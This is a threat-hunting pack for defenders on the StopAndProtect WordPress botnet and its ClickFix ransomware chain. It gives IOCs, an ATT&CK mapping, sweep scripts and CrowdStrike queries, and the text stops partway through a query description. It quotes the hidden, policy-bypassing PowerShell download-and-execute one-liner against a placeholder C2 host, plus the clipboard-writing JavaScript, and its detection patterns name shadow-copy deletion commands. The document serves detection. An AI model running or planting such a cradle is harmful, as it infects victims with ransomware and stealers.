StopAndProtect — WordPress Botnet, ClickFix Ransomware & Data-Theft Operation
Executive Summary
Check Point Research disclosed StopAndProtect on 2026-08-18: a criminal operation that has hijacked nearly 2,000 compromised WordPress sites and turned them into a rotating pool of command-and-control and distribution infrastructure. An operational-security failure by the operator — an exposed staging server with directory listings enabled — let researchers pull internal infection logs, roughly 31,000 exfiltrated victim screenshots, and the actor's own source code. Those logs place more than 6,000 unique victim IP addresses on the board as of 2026-07-24, concentrated in the United States (1,852), Russia (630), and India (630).
The infection chain starts with ClickFix: a fake CAPTCHA overlay on a compromised WordPress site instructs the visitor to open the Windows Run dialog and paste a command, which launches a hidden, execution-policy-bypassed PowerShell one-liner (IEX((New-Object Net.WebClient).DownloadString('https://<C&C>/vcapcha.ps1'))) — a Win+R "paste and run" pattern with no file argument on the command line. That script chains into a second PowerShell stage, then two .NET downloader/loader stages, before dropping whichever payload modules the operator has staged: SilentEncryptor (double-extortion ransomware whose key derivation embeds the per-file password and machine name in the renamed encrypted filename), SilentDataCollector (a credential/document/screenshot stealer with a keylogger and WhatsApp-contact-exfiltration feature), LockScreen (blocks input, shows a payment QR code), NetworkShareScanner (an SMB/USB worm module), a VBS spreader (removable-media and WMI-based lateral movement), and SimpleChatProxy (a bespoke victim/operator chat channel). Notably, StopAndProtect does not always deploy ransomware — in many cases the operator silently inventories and exfiltrates files first and decides monetization on a per-victim basis, consistent with hands-on-keyboard activity Check Point observed directly in exfiltrated WhatsApp-search screenshots.
On the WordPress side, persistence rides on a hidden must-use plugin (wp-content/mu-plugins/wp-sec.php) that exposes an unauthenticated-looking REST upload endpoint, plus a single-file PHP web shell (wp-cssv.php) and a "verify" plugin (verify.php/store.php/proxy.php/stored_url.txt) that renders the fake CAPTCHA itself and reports statistics back to the operator. One analyzed compromised site had gone unpatched since 2021 with roughly 40 known vulnerabilities — outdated WordPress installations are the entry vector, not a novel WordPress zero-day.
Defender priority: This is a social-engineering attack — EDR prevention policy will not stop a user who was told to paste the command, so detection has to center on the two behavioral chokepoints in this pack: (1) explorer.exe parenting a hidden, policy-bypassed powershell.exe with no -File argument (Section 8, Q1–Q3), and (2) the PowerShell→.NET downloader chain writing and executing a new binary from a user-writable path (Q4). Atomic IOCs (Section 4/10) are worth deploying today but are perishable — the WordPress-hosted C2 domains and mu-plugin backdoors are likely to rotate or be taken down quickly following public disclosure.
Source Review & Web Hunter Notes
Five sources were targeted for this pack. Four were successfully fetched and saved verbatim (or, where direct fetch was bot-blocked, retrieved through a fallback fetch path and saved with that method noted) to the pack's source-snapshot directory for provenance tracing. All four were reviewed for prompt-injection or untrusted directives before use; none were found. One source was inaccessible and dropped — see below.
| Tier | Source | Key Finding | Carry Forward |
|---|---|---|---|
| 1 | Check Point Research (research.checkpoint.com) — original vendor disclosure | Full infection-chain narrative, complete hash table by stage, YARA rule, victim-IP statistics by country, WordPress backdoor/web-shell technical detail, ClickFix JavaScript excerpt, exposed attacker project-path artifacts | Yes — primary source of record; every atomic IOC in this pack traces to this snapshot |
| 2 | The Hacker News | News-aggregator corroboration of the operation name, scale, and infection-chain summary | Partial — context and corroboration only |
| 2 | Cybersecurity News | Corroborates victim geography, the "unpatched since 2021 / ~40 vulnerabilities" root-cause detail, and the OPSEC-failure discovery narrative. Fetched via a fallback path after the direct request was bot-blocked (HTTP 403); the retrieved text is the outlet's own article summary, not a raw byte-for-byte page capture. | Partial — corroboration only; no atomic IOCs sourced from this outlet |
| 2 | GBHackers | Independent re-transcription of Check Point's full IOC table (domains, hashes) and additional narrative detail on the mu-plugins persistence mechanism. Fetched via a fallback path after the direct request was bot-blocked (HTTP 403). Cross-checked hash-for-hash against the primary Check Point snapshot — all values matched exactly, including the corrected SilentDataCollector hash (see note below). | Partial — corroboration only; all IOCs shipped in this pack are sourced from the primary Check Point snapshot, not from this re-transcription |
Dropped source: databreaches.net returned an HTTP 403 Cloudflare bot-detection block on both a direct fetch attempt and a fallback fetch attempt. This is a plain access failure, not adversarial content encountered in a retrieved page — no content was ever retrieved from this URL, so there was nothing to screen for injected instructions. It is dropped from citations; no claim or IOC in this pack relies on it.
Note on a hash discrepancy caught during provenance verification: the SilentDataCollector (credential stealer) SHA256 supplied in the initial build brief for this pack (ending ...3cd7e4a1eb365f...) did not match the value in the primary Check Point source when checked byte-for-byte against the raw page capture. The verified, source-correct value — 23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70 — is what ships in this pack (Section 4/10). This is flagged explicitly because it is exactly the kind of single-character transcription drift the provenance gate exists to catch.
Hunt Brief & Attack Chain
Hunt Hypotheses (ordered by fidelity)
- [High]
explorer.exe(Run dialog) directly parents a hidden, execution-policy-bypassedpowershell.exe/pwsh.exewith an inline download-and-execute command and no-Fileargument — the ClickFix detonation moment. Covers T1204.004, T1059.001, T1564.003, T1562.001. Maps to Q1. - [High] The pasted command is recoverable from the
RunMRUregistry key even after process telemetry ages out. Covers T1204.004. Maps to Q2. - [High] A command line or on-disk file references the campaign's known entry-script name,
vcapcha.ps1. Covers T1204.004, T1105. Maps to Q3. - [High] A process image or written file matches one of the 21 confirmed StopAndProtect stage hashes (PowerShell stages, .NET loaders, and all six payload modules). Covers T1105, T1486, T1490, T1039, T1091. Maps to Q5.
- [High] A host resolves or connects to one of the five confirmed WordPress-hosted base C2 domains. Covers T1071.001, T1102. Maps to Q6.
- [Medium] PowerShell writes and/or executes a new PE from a user-writable directory — the PowerShell→.NET downloader/loader chain's detonation step. Covers T1105, T1027, T1059.001. Maps to Q4.
- [Medium] A host shows a mass file-rename/encryption volume spike, optionally paired with a shadow-copy-deletion or recovery-inhibition command — SilentEncryptor's impact stage. Covers T1486, T1490. Maps to Q7, Q8.
- [Medium] A host performs SMB-share or removable-media discovery consistent with the NetworkShareScanner worm module, or
WmiPrvSE.exespawns a script/command interpreter consistent with the VBS spreader's WMI-based lateral movement. Covers T1135, T1120, T1039, T1047, T1091. Maps to Q9, Q10. - [Medium — organization-hosted WordPress only] A Linux/web-server host running a Falcon sensor writes one of the named attacker PHP artifacts or the
stored_url.txtmarker file — evidence the organization's own WordPress site is being used as StopAndProtect infrastructure, not just that an employee visited one. Covers T1505.003, T1190. Maps to Q11.
Attack Chain
Illustrative ClickFix command excerpted from the primary source (Check Point Research), shown for detection-engineering purposes — this is not exploit code, it is the exact shape defenders need to recognize:
const command = `powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://<C&C>/vcapcha.ps1'))`;
navigator.clipboard.writeText(command) // silently placed on the victim's clipboard by the fake CAPTCHA page
| Step | Action | Telemetry | Hunt Angle |
|---|---|---|---|
| 0 | WordPress site compromise (root cause per secondary reporting: outdated core/plugins — one analyzed site unpatched since 2021 with ~40 known vulnerabilities), then persistence via a hidden MU-plugin (wp-content/mu-plugins/wp-sec.php, REST endpoint wp-json/wp-sec/v1/upload) and a single-file web shell (wp-cssv.php) | Web-server file-write telemetry (only if the WordPress host itself runs a Falcon sensor) | Q11 (org-hosted WordPress only) |
| 1 | Victim visits a compromised WordPress site; the "verify" plugin overlays a fake CAPTCHA for Windows visitors and silently copies a PowerShell one-liner to the clipboard | Not endpoint-visible — this step happens in the browser DOM | User-awareness training; browser/proxy content filtering |
| 2 | Detonation: victim pastes into Win+R and presses Enter; explorer.exe spawns hidden, policy-bypassed powershell.exe which downloads and executes vcapcha.ps1 (PowerShell Stage 1) in memory | ProcessRollup2, RegGenericValueUpdate/AsepValueUpdate (RunMRU) | Q1, Q2, Q3 |
| 3 | PowerShell Stage 1 chains into PowerShell Stage 2, then a .NET Stage 1 downloader and a .NET Stage 2 downloader/loader (described by Check Point as a "persistent downloader and loader" with sandbox checks) | ProcessRollup2, NewExecutableWritten/PeFileWritten | Q4, Q5 |
| 4 | Payload modules dropped per-victim at operator discretion: SilentEncryptor (ransomware), SilentDataCollector (stealer/keylogger), LockScreen, NetworkShareScanner (SMB/USB worm), VBS spreader, SimpleChatProxy | ProcessRollup2, RansomwareOpenFile, NetworkConnectIP4 | Q5, Q7, Q8, Q9, Q10 |
| 5 | Ongoing C2 / exfiltration: stolen files, screenshots, and WhatsApp-contact captures are compressed, encrypted, and sent back to the same rotating pool of compromised WordPress sites acting as base C2 | DnsRequest, NetworkConnectIP4 | Q6 |
| 6 | If ransomware is triggered: files renamed to embed the per-file password and machine name, LockScreen displays the payment QR code, SimpleChatProxy opens a victim/operator chat channel | RansomwareOpenFile, file-rename telemetry | Q7, Q5 (hash match on LockScreen/SimpleChatProxy) |
Consolidated IOC Table
| Type | Value | Confidence | Action | Context | Expiry |
|---|---|---|---|---|---|
| Domain | v-k.com.ua | High | detect | Compromised WordPress site used as base C2 | 2027-02-21 |
| Domain | www.lapellelaser.pl | High | detect | Compromised WordPress site used as base C2 | 2027-02-21 |
| Domain | www.parsrulman.com | High | detect | Compromised WordPress site used as base C2 | 2027-02-21 |
| Domain | mectcalcutta.com | High | detect | Compromised WordPress site used as base C2 | 2027-02-21 |
| Domain | discherniation.com | High | detect | Compromised WordPress site used as base C2 | 2027-02-21 |
| Filename | vcapcha.ps1 | High | hunt | ClickFix entry script fetched and executed in-memory via IEX; no legitimate use | 2026-11-21 |
| Endpoint (WordPress) | dwnen.php | High | hunt | Attacker-side WordPress file-listing/download endpoint on compromised C2 hosts | 2026-11-21 |
| Endpoint (WordPress) | mu-uploader-installer.php | High | hunt | Installer for the hidden must-use uploader plugin | 2026-11-21 |
| Endpoint (WordPress) | wp-content/mu-plugins/wp-sec.php | High | hunt | Hidden MU plugin dropped by the installer; exposes REST endpoint wp-json/wp-sec/v1/upload | 2026-11-21 |
| Endpoint (WordPress) | verify.php / store.php / proxy.php / stored_url.txt | High | hunt | The "verify" plugin components that render the fake CAPTCHA and report stats to the base C2 | 2026-11-21 |
| Endpoint (WordPress) | wp-cssv.php | High | hunt | Single-file PHP web shell (Secure File Manager) with upload/delete capability | 2026-11-21 |
| Endpoint (WordPress) | wp-verifyup.php | High | hunt | File Explorer with remote fetch and multi-server fallback | 2026-11-21 |
| Endpoint (WordPress) | wp-uploading.php / wp-delete.php | High | hunt | Secure upload (overwrite/auto-create) and secure-deletion scripts used by the actor's VB6 mass-management tool | 2026-11-21 |
| SHA256 | cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0 | High | detect | PowerShell script stage 1 | 2027-02-21 |
| SHA256 | cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9 | High | detect | PowerShell script stage 2 | 2027-02-21 |
| SHA256 | 99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b | High | detect | .NET stage 1 downloader (variant 1 of 3) | 2027-02-21 |
| SHA256 | 8337bf29100a5871b1275227006dc2a43b21b751e5ce7e2032364fd78af59ac5 | High | detect | .NET stage 1 downloader (variant 2 of 3) | 2027-02-21 |
| SHA256 | 4dee2fe98d4da75ffb259c03b50202212dafc85691429a28641a8068eddea504 | High | detect | .NET stage 1 downloader (variant 3 of 3) | 2027-02-21 |
| SHA256 | 9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527 | High | detect | .NET stage 2 downloader & loader (variant 1 of 3) | 2027-02-21 |
| SHA256 | 7d3604d0728b242c72bd144b8661ebf63c1042a4f5dd441bc8c8507c701df20c | High | detect | .NET stage 2 downloader & loader (variant 2 of 3) | 2027-02-21 |
| SHA256 | 976cfa57e1efacbe517b7e3441e9473d275ec1d9ad8ab69ddf8ae3a966aaa153 | High | detect | .NET stage 2 downloader & loader (variant 3 of 3) | 2027-02-21 |
| SHA256 | b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489 | High | detect | SilentEncryptor ransomware (variant 1 of 3) | 2027-02-21 |
| SHA256 | 65550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe72143 | High | detect | SilentEncryptor ransomware (variant 2 of 3) | 2027-02-21 |
| SHA256 | 0080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40 | High | detect | SilentEncryptor ransomware (variant 3 of 3) | 2027-02-21 |
| SHA256 | 8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4 | High | detect | NetworkShareScanner SMB/USB worm (variant 1 of 3) | 2027-02-21 |
| SHA256 | 10babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0 | High | detect | NetworkShareScanner SMB/USB worm (variant 2 of 3) | 2027-02-21 |
| SHA256 | f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41 | High | detect | NetworkShareScanner SMB/USB worm (variant 3 of 3) | 2027-02-21 |
| SHA256 | 11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e | High | detect | LockScreen (variant 1 of 3) | 2027-02-21 |
| SHA256 | 2adbb2c206be7f23bf77f8f50d1ac0f809511c0b4591421931f81a6eaa42c68c | High | detect | LockScreen (variant 2 of 3) | 2027-02-21 |
| SHA256 | 38602b76f6c65644b01fa4d81708251c159a883253cda8876396dc7212324ab9 | High | detect | LockScreen (variant 3 of 3) | 2027-02-21 |
| SHA256 | 23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70 | High | detect | SilentDataCollector credential/document stealer — value corrected during provenance verification, see Section 2 | 2027-02-21 |
| SHA256 | b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad | High | detect | VBS spreader | 2027-02-21 |
| SHA256 | 3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9 | High | detect | SimpleChatProxy (variant 1 of 2) | 2027-02-21 |
| SHA256 | 3ba161ca7b8dcf389ec3236c9ddfb943e9d1766181b1b81a227649cad46132a8 | High | detect | SimpleChatProxy (variant 2 of 2) | 2027-02-21 |
| Path (context) | C:\Users\marks\source\, project dirs 0a_botnet / fake-captcha | Medium | enrich | Attacker developer-machine path artifacts leaked in exposed archives — useful for correlating future samples to this operator, not directly hunt-able on victim endpoints | 2026-11-21 |
| Site (context, not for blanket blocking) | maximumrock.ro, platinumcar.ca, norakremer.co.uk, pharmart.ae, ksr-racingparts.com | Medium | enrich | Compromised WordPress hosting sites cited as examples — these are victims, not attacker-owned infrastructure; do not blanket-block, use only to understand the pattern of hosting-provider/CMS compromise | 2026-11-21 |
Affected Surface & Telemetry Matrix
| Surface | Telemetry | Priority | Gap |
|---|---|---|---|
| Windows endpoints (ClickFix detonation, PowerShell/.NET chain, ransomware/stealer/worm payloads) | ProcessRollup2/SyntheticProcessRollup2, NetworkConnectIP4, DnsRequest, RegGenericValueUpdate/AsepValueUpdate, RansomwareOpenFile, NewExecutableWritten/PeFileWritten | Critical | None — fully covered where the Falcon sensor is deployed |
| Organization-hosted WordPress infrastructure (if any) | FileCreateInfo/NewScriptWritten — only if the web-server host itself runs a Linux Falcon sensor | High (if applicable) | GAP — most organizations' externally-hosted WordPress sites sit on shared/managed hosting with no Falcon sensor; rely on the native web-server sweep in Section 7 and the hosting provider's own file-integrity/WAF tooling instead |
| Browser-DOM level (fake CAPTCHA render, clipboard write) | No Falcon telemetry — this happens entirely inside the browser before any process is spawned | Medium | GAP — not endpoint-visible by design; covered only by user-awareness training and web/DNS content filtering upstream of the browser |
| Removable media / USB device connect-disconnect events | No dedicated USB/removable-media-connect event confirmed in the current Falcon data-model reference | Medium | GAP — hunt via the process-based discovery proxy in Q9 (wmic logicaldisk) rather than a native device-connect event |
| SMB share enumeration (NetworkShareScanner) | ProcessRollup2 (command-line proxy: net view/net use/Get-SmbShare); NetworkConnectIP4 on port 445 for the network-layer view | Medium | Partial — good behavioral coverage, but this command set is also used by legitimate IT tooling; pair with process-lineage context (Q9 TUNING note) before alerting |
| WMI-based lateral movement (VBS spreader) | ProcessRollup2 (WmiPrvSE.exe parent-child pattern) | Medium | None — standard Falcon coverage, shared with any WMI-based lateral-movement tradecraft |
ATT&CK Mapping
| Tactic | Technique | Name | Observed Behavior |
|---|---|---|---|
| Initial Access (WordPress side) | T1190 | Exploit Public-Facing Application | Compromised WordPress sites entered via outdated core/plugin installations (one analyzed site unpatched since 2021, ~40 known vulnerabilities per secondary reporting) |
| Persistence (WordPress side) | T1505.003 | Server Software Component: Web Shell | Hidden must-use plugin (wp-sec.php) with a hardcoded-credential REST upload endpoint; single-file web shell wp-cssv.php; file explorer with remote-fetch fallback wp-verifyup.php |
| Initial Access (victim side) | T1204.004 | User Execution: Malicious Copy and Paste | Fake CAPTCHA overlay instructs the victim to paste and run a PowerShell command via the Windows Run dialog (ClickFix) |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | Two chained PowerShell stages preceding the .NET downloader/loader stages |
| Defense Evasion | T1564.003 | Hide Artifacts: Hidden Window | PowerShell launched with -w hidden |
| Defense Evasion | T1562.001 | Impair Defenses: Disable or Modify Tools | PowerShell launched with -ep bypass to skip the execution-policy control |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | HTTP(S) beaconing and file exfiltration to the rotating pool of compromised WordPress base-C2 sites |
| Command and Control | T1102 | Web Service | Legitimate-looking, hijacked WordPress domains used as a rotating C2/distribution pool — the defining characteristic of this operation |
| Discovery | T1083 | File and Directory Discovery | SilentDataCollector enumerates all files across fixed, removable, and network drives before selective exfiltration |
| Discovery | T1135 | Network Share Discovery | NetworkShareScanner enumerates SMB shares to spread beyond the initial host |
| Discovery | T1120 | Peripheral Device Discovery | NetworkShareScanner and the VBS spreader enumerate plugged-in USB/removable devices |
| Lateral Movement | T1047 | Windows Management Instrumentation | VBS spreader laterally moves via remote process creation over WMI |
| Lateral Movement | T1091 | Replication Through Removable Media | VBS spreader and NetworkShareScanner propagate to hard disks and removable media |
| Collection | T1113 | Screen Capture | SilentDataCollector captures screenshots every 30 seconds while the victim is active; Check Point recovered ~31,000 such screenshots |
| Collection | T1056.001 | Input Capture: Keylogging | SilentDataCollector's newer variants include a keylogger with valid-email-address detection |
| Collection | T1005 | Data from Local System | SilentDataCollector compresses and encrypts operator-selected files for exfiltration |
| Collection | T1074.001 | Data Staged: Local Data Staging | Selected files are compressed and encrypted locally before exfiltration |
| Impact | T1486 | Data Encrypted for Impact | SilentEncryptor encrypts files; key derivation embeds the per-file password and machine name in the renamed filename. LockScreen displays a payment QR code as the extortion demand. |
| Impact | T1490 | Inhibit System Recovery | Standard ransomware pre-encryption step (shadow-copy deletion / recovery inhibition) — included in this pack as a defense-in-depth behavioral hunt; not independently confirmed for SilentEncryptor specifically by the cited sources |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Stolen files, screenshots, and WhatsApp-contact captures sent to the base C2 over the same WordPress-hosted infrastructure |
Native Audit-Log Hunts
These checks cover surfaces Falcon does not natively tag with a dedicated event (Section 5 gaps) or that are faster to run directly than to wait on telemetry ingestion. Run them alongside the CQL queries in Section 8, not instead of them.
Windows Run-dialog forensic residue and manual C2 egress check
# RunMRU -- survives after process telemetry ages out; recovers the FULL pasted string
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' | Format-List
# Manual DNS resolution check against the five confirmed C2 domains
foreach ($d in @('v-k.com.ua','www.lapellelaser.pl','www.parsrulman.com','mectcalcutta.com','discherniation.com')) {
Resolve-DnsName $d -ErrorAction SilentlyContinue
}
Ransom-note / renamed-file sweep (best-effort heuristic)
Check Point states the per-file password and machine name are embedded in the renamed encrypted filename, but does not publish the exact format string. Treat the pattern below as a starting heuristic to triage, not a guaranteed match — confirm any hits by hand.
Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '^[A-Za-z0-9]{10,}[_-][A-Za-z0-9\-]+\.[A-Za-z0-9]{2,6}$' -and $_.LastWriteTime -gt (Get-Date).AddDays(-7) } |
Select-Object -First 200 FullName, LastWriteTime
Organization-hosted WordPress artifact sweep (only if you self-host WordPress — run via SSH/WP-CLI or an EDR script deployment)
# Known attacker PHP artifacts and marker file find /var/www -type f \( \ -name 'dwnen.php' -o -name 'mu-uploader-installer.php' -o -name 'wp-sec.php' -o \ -name 'verify.php' -o -name 'store.php' -o -name 'proxy.php' -o \ -name 'wp-uploading.php' -o -name 'wp-delete.php' -o -name 'wp-cssv.php' -o \ -name 'wp-verifyup.php' -o -name 'stored_url.txt' -o -name 'activator.php' \ \) -print 2>/dev/null # Hidden must-use plugin directory -- MU plugins load automatically with no admin-panel activation step ls -la /var/www/*/wp-content/mu-plugins/ 2>/dev/null grep -rl "wp-sec/v1/upload" /var/www/*/wp-content/ 2>/dev/null # WordPress core/plugin currency (unpatched WordPress was the entry vector) wp core version --path=/var/www/site 2>/dev/null wp plugin list --update=available --path=/var/www/site 2>/dev/null
CrowdStrike LogScale CQL Hunt Queries
Looks for: the defining ClickFix artifact — explorer.exe (the Run dialog) parenting powershell.exe/pwsh.exe with a hidden window, execution-policy bypass, and an inline download-and-execute command, with no -File argument present (i.e. the command is inline, not a saved script — the "no command-line file" pattern this pack was built to catch). FP: admin/helpdesk use of Win+R for legitimate hidden-window scripts, or RMM/deployment agents launching PowerShell hidden from an explorer.exe context.
// HUNT: StopAndProtect ClickFix Run-dialog paste — explorer.exe parenting a hidden, policy-bypassed PowerShell download-and-execute with no -File argument // MITRE: T1204.004, T1059.001, T1564.003, T1562.001 // CONF: high FP: low-medium COST: low | REQUIRES: ProcessRollup2 / SyntheticProcessRollup2 // FALSE POSITIVES: admin/helpdesk use of Win+R with legitimate hidden-window scripts; some RMM/deployment agents launch PowerShell hidden from an explorer.exe context // TUNING: exclude UserName in your admin/helpdesk group and known deployment service accounts; scope to standard users first #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^explorer\.exe$/i | FileName=/^(powershell|pwsh)\.exe$/i | CommandLine=/(-w(indowstyle)? +hidden|-ep +bypass|-executionpolicy +bypass)/i | CommandLine=/(iex|invoke-expression|downloadstring|downloadfile|net\.webclient)/i | !CommandLine=/-file\b/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, SHA256HashData], limit=200)
Looks for: the forensic residue of the paste. Windows records every Run-dialog entry in RunMRU, so this fires even after the process itself has aged out of retention, and recovers the full original pasted string. FP: genuine admin use of the Run dialog for PowerShell troubleshooting.
// HUNT: RunMRU value containing a PowerShell download-and-execute cradle (ClickFix forensic artifact) // MITRE: T1204.004 // CONF: high FP: low COST: low | REQUIRES: RegGenericValueUpdate / AsepValueUpdate // FALSE POSITIVES: admins typing powershell/iex into Run for legitimate troubleshooting // TUNING: filter to standard-user accounts; a ClickFix paste is a long single-line string, easy to eyeball once returned #event_simpleName=/^(RegGenericValueUpdate|AsepValueUpdate)$/ | RegObjectName=/RunMRU/i | RegStringValue=/(powershell|pwsh).*(iex|downloadstring|net\.webclient|-ep bypass)/i | table([@timestamp, ComputerName, UserName, RegObjectName, RegValueName, RegStringValue], limit=200)
Looks for: the campaign's known entry-script name, whether referenced in a command line (the script is fetched via DownloadString and run in-memory, so it appears as a URL string in the command) or, less commonly, present as an on-disk file basename. FP: none identified — this filename has no legitimate use.
// HUNT: Reference to the StopAndProtect ClickFix entry script (vcapcha.ps1) in a command line or as an on-disk file // MITRE: T1204.004, T1059.001, T1105 // CONF: high FP: low COST: low | REQUIRES: ProcessRollup2 / SyntheticProcessRollup2 // FALSE POSITIVES: none identified #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/vcapcha\.ps1/i or FileName=/^vcapcha(\.ps1)?$/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, SHA256HashData], limit=200)
Looks for: the moment the PowerShell→.NET downloader/loader chain detonates — PowerShell writing a new PE into Temp/AppData/ProgramData. FP: legitimate PowerShell-based installers/updaters that self-extract or download a helper binary to a temp path.
// HUNT: PowerShell writes a new PE to a user-writable directory — StopAndProtect PS-to-.NET downloader/loader chain // MITRE: T1105, T1027, T1059.001 // CONF: medium FP: medium COST: low | REQUIRES: NewExecutableWritten / PeFileWritten // FALSE POSITIVES: legitimate PowerShell-based installers/updaters that self-extract or download a helper binary to Temp/AppData // TUNING: allowlist known-good installer/updater ContextBaseFileName values once baselined; narrow TargetFileName further to your standard temp-path conventions #event_simpleName=/^(NewExecutableWritten|PeFileWritten)$/ | ContextBaseFileName=/^(powershell|pwsh)\.exe$/i | TargetFileName=/\\(Temp|AppData|ProgramData)\\/i | table([@timestamp, ComputerName, UserName, ContextBaseFileName, TargetFileName, SHA256HashData], limit=200)
Looks for: exact-hash execution or write of any of the 21 confirmed StopAndProtect binaries across every stage — both PowerShell scripts, all three .NET downloader variants, all three .NET loader variants, and all six payload modules (SilentEncryptor, NetworkShareScanner, LockScreen, SilentDataCollector, VBS spreader, SimpleChatProxy). FP: none identified — exact-hash match against confirmed malicious samples.
// HUNT: Execution or file-write of a known StopAndProtect stage hash (PowerShell/.NET loaders + all six payload modules) // MITRE: T1105, T1204.004, T1486, T1490, T1039, T1091 // CONF: high FP: low COST: low | REQUIRES: ProcessRollup2 / SyntheticProcessRollup2 / PeFileWritten // FALSE POSITIVES: none identified #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2|PeFileWritten)$/ | in(SHA256HashData, values=[ "cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0", "cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9", "99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b", "8337bf29100a5871b1275227006dc2a43b21b751e5ce7e2032364fd78af59ac5", "4dee2fe98d4da75ffb259c03b50202212dafc85691429a28641a8068eddea504", "9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527", "7d3604d0728b242c72bd144b8661ebf63c1042a4f5dd441bc8c8507c701df20c", "976cfa57e1efacbe517b7e3441e9473d275ec1d9ad8ab69ddf8ae3a966aaa153", "b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489", "65550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe72143", "0080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40", "8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4", "10babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0", "f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41", "11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e", "2adbb2c206be7f23bf77f8f50d1ac0f809511c0b4591421931f81a6eaa42c68c", "38602b76f6c65644b01fa4d81708251c159a883253cda8876396dc7212324ab9", "23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70", "b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad", "3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9", "3ba161ca7b8dcf389ec3236c9ddfb943e9d1766181b1b81a227649cad46132a8" ]) | table([@timestamp, ComputerName, UserName, FileName, ParentBaseFileName, CommandLine, SHA256HashData], limit=500)
Looks for: any host resolving one of the five confirmed base-C2 domains. No resolved IPs were published for these domains, so this pack detects at the DNS layer rather than by IP. FP: none identified — these are compromised third-party sites repurposed as attacker infrastructure, not general-purpose services.
// HUNT: DNS resolution of a StopAndProtect WordPress-hosted base C2 domain // MITRE: T1071.001, T1102 // CONF: high FP: low COST: low | REQUIRES: DnsRequest // FALSE POSITIVES: none identified #event_simpleName=DnsRequest | in(DomainName, values=["v-k.com.ua","www.lapellelaser.pl","www.parsrulman.com","mectcalcutta.com","discherniation.com"], ignoreCase=true) | table([@timestamp, ComputerName, UserName, DomainName], limit=200)
Looks for: a per-host, per-user spike in file-touch volume consistent with ransomware detonation. FP: bulk operations from backup/sync/indexing/AV full-disk-scan software, or a user re-encoding a large personal media library.
// HUNT: Mass file encryption/rename volume spike consistent with SilentEncryptor detonation // MITRE: T1486 // CONF: medium FP: medium COST: medium | REQUIRES: RansomwareOpenFile // FALSE POSITIVES: bulk file operations from backup/sync/indexing/AV full-disk-scan software // TUNING: exclude known backup/sync/AV process names once correlated with UserName; this is a coarse volumetric signal — always pair with Q5 (hash match) or Q1/Q3 (ClickFix chain) for context before treating as an incident #event_simpleName=RansomwareOpenFile | groupBy([ComputerName, UserName], function=count(as=FilesTouched)) | FilesTouched > 100 | sort(FilesTouched, order=desc)
Looks for: the standard ransomware pre-encryption step of deleting shadow copies or disabling recovery options. Note: included as a defense-in-depth behavioral hunt; shadow-copy deletion was not independently confirmed for SilentEncryptor specifically by the cited sources. FP: legitimate backup-software maintenance windows that manage VSS snapshots.
// HUNT: Shadow-copy deletion or recovery-inhibition command execution (generic ransomware pre-encryption step) // MITRE: T1490 // CONF: medium FP: low COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: legitimate backup-software maintenance windows that manage VSS snapshots // TUNING: scope to non-backup-service accounts once your backup tooling is baselined #event_simpleName=ProcessRollup2 | CommandLine=/(vssadmin.*delete|wmic.*shadowcopy.*delete|bcdedit.*recoveryenabled.*no|wbadmin.*delete.*catalog)/i | table([@timestamp, ComputerName, UserName, CommandLine], limit=200)
Looks for: network-share and removable-drive discovery consistent with the NetworkShareScanner SMB/USB worm module. FP: IT asset-management scripts, legitimate helpdesk use of net view/net use, backup software enumerating shares.
